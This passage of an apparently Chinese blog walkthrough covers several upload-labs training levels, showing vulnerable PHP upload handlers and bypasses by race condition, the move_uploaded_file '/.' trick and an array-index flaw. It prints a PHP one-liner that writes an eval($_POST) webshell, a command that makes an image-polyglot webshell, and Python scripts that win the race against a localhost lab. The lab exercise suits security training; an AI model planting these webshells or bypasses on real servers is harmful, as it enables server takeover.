<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["x"])?>');?>

上传 webshell.php,使用 burpsuite 抓包拦截,发送给 Intruder 模块进行爆破
在这里插入图片描述

选择 $ 清除,设置无限发送空的 payload
在这里插入图片描述

把线程数设置高一点,效果好点
在这里插入图片描述

编写一个Python脚本,用于不断请求webshell.php,比人工不断请求效率更高

import requests
url = "http://localhost/upload-labs/upload/webshell.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

启动该Python脚本后,在 burpsuite 点击开始攻击,出现 OK 表明访问到了 webshell.php,并成功创建了一句话木马 1.php
在这里插入图片描述
查看 upload 文件夹,一句话木马 1.php 已经被创建
在这里插入图片描述
查看一句话木马 1.php 内容
在这里插入图片描述
使用蚁剑进行连接
在这里插入图片描述

0x19 条件竞争2

该关源码有问题,导致上传的图片不在 upload 文件夹下面,参照如下修改 myupload.php 让图片上传到 upload 文件夹下
在这里插入图片描述

查看源码,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小及文件是否已存在,文件上传之后又对其进行了重命名
那么就不能上传PHP文件了,考虑上传图片马,并且要在其被重命名之前访问它
由于图片马不能直接执行,所以需要配合文件包含漏洞或Apache解析漏洞

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

绕过流程
webshell.php 为如下内容,意思也是一样,用于生成一个一句话木马 1.php

<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["x"])?>');?>

制作图片马 webshell.jpg 并上传,通过 burpsuite 抓包拦截,发送给 Intruder 模块

copy 1.jpg/b + webshell.php webshell.jpg

在这里插入图片描述

编写一个Python脚本,同样用于请求 webshell.jpg,但是图片马无法直接解析执行生成 1.php
需要配合文件包含漏洞或Apache解析漏洞,所以和上一关有所差异
这里我以结合文件包含漏洞为例

import requests
url = "http://localhost/upload-labs/include.php?file=upload/webshell.jpg"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break

启动该Python脚本后,在 burpsuite 点击开始攻击,出现 OK 表明访问并解析 webshell.jpg,并成功创建了一句话木马 1.php,不再赘述

0x20 move_uploaded_file() 忽略 /.

本关页面有所不同,多了一个保存名称可以填写
在这里插入图片描述
查看提示,服务器取文件名通过 $_POST[‘save_name’] 来获取,而 save_name 也就是我们填写的 “保存名称”,是可控的
可以看到服务器只对 save_name 进行黑名单过滤,没有对上传的文件做任何判断

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过方式 1
由于服务器只对 save_name 进行黑名单过滤,没有对上传的文件做任何判断,
所以直接上传 webshell.php 都可以,但最终会被命名为 upload-19.jpg,可以结合文件包含漏洞利用

在这里插入图片描述

绕过方式 2
由于 move_uploaded_file() 的特性,会忽略掉文件末尾的 /.
所以我们上传 webshell.php,然后使用 burpsuite 抓包将 save_name 从 upload-19.jpg 修改为 upload-19.php/.
在这里插入图片描述
上传成功后,复制图片链接访问,使用 hackbar 插件执行 phpinfo();
在这里插入图片描述
绕过方式 3
由于只黑名单检查 save_name 后缀,所以可以利用 Windows 特性如 “空格” 或者 “点” 进行绕过(绕过方式很多,参考前面)

0x21 数组绕过

查看提示,本关来自 CTF 竞赛题,需要进行代码审计
参考这篇文章

检查流程如下

1.检查上传文件是否为空  if(!empty($_FILES['upload_file']))
2.检查 MIME  if(!in_array($_FILES['upload_file']['type'],$allow_type))
3.获取文件对象并判断是否为数组,若不是则以 "点" 拆分为数组  $file = explode('.', strtolower($file));
4.获取文件后缀  $ext = end($file);  并检查后缀名  if (!in_array($ext, $allow_suffix))
5.将数组 $file 的第一个元素、点、第 n-1 个元素拼接起来,传给 $file_name
6.定义 $img_path = UPLOAD_PATH . '/' .$file_name;  $temp_file = $_FILES['upload_file']['tmp_name'];
7.上传文件 if (move_uploaded_file($temp_file, $img_path))

问题所在:
假设获取到的文件对象不为数组,那么就要以 "点" 拆分为数组,这样一来,到第五步的时候便出现了问题。
因为 end($file)$file[count($file) - 1] 所返回的元素在特殊情况下,可能并不相同
比如我们传入 $file[0] = 'webshell.php/'$file[2] = 'png',没有定义 $file[1],那么它为空
那么总的 count($file) 返回的值为2
这时 end($file) 返回 $file[2] 的值,而 $file[count($file) - 1] 返回 $file[1] 的值

源码如下

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

绕过方式

1.传入 $file[0] = 'webshell.php/'$file[2] = 'png',不定义 $file[1],其为空,数组总元素个数为2
2.后缀名检测时,end($file)返回值为'png',得以绕过
3.拼接 $file_name 时,reset($file)返回'webshell.php/'$file[count($file) - 1]返回$file[1],即为空
  所以$file_name整个等于'webshell.php/.'
4.由于move_upload_file函数特性,忽略 /. 得以绕过

PS: 这里也可以传$file[0] = 'webshell.php',最后$file_name整个等于'webshell.php.',利用Windows特性绕过

绕过流程
上传 webshell.php 使用 burpsuite 抓包
在这里插入图片描述

修改 Content-Type 为 image/png,分别传入$file[0] 和 $file[2] 的值,然后发包即可
在这里插入图片描述

上传成功,复制其链接(需要去掉后面的点),使用 hackbar 插件执行 phpinfo
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值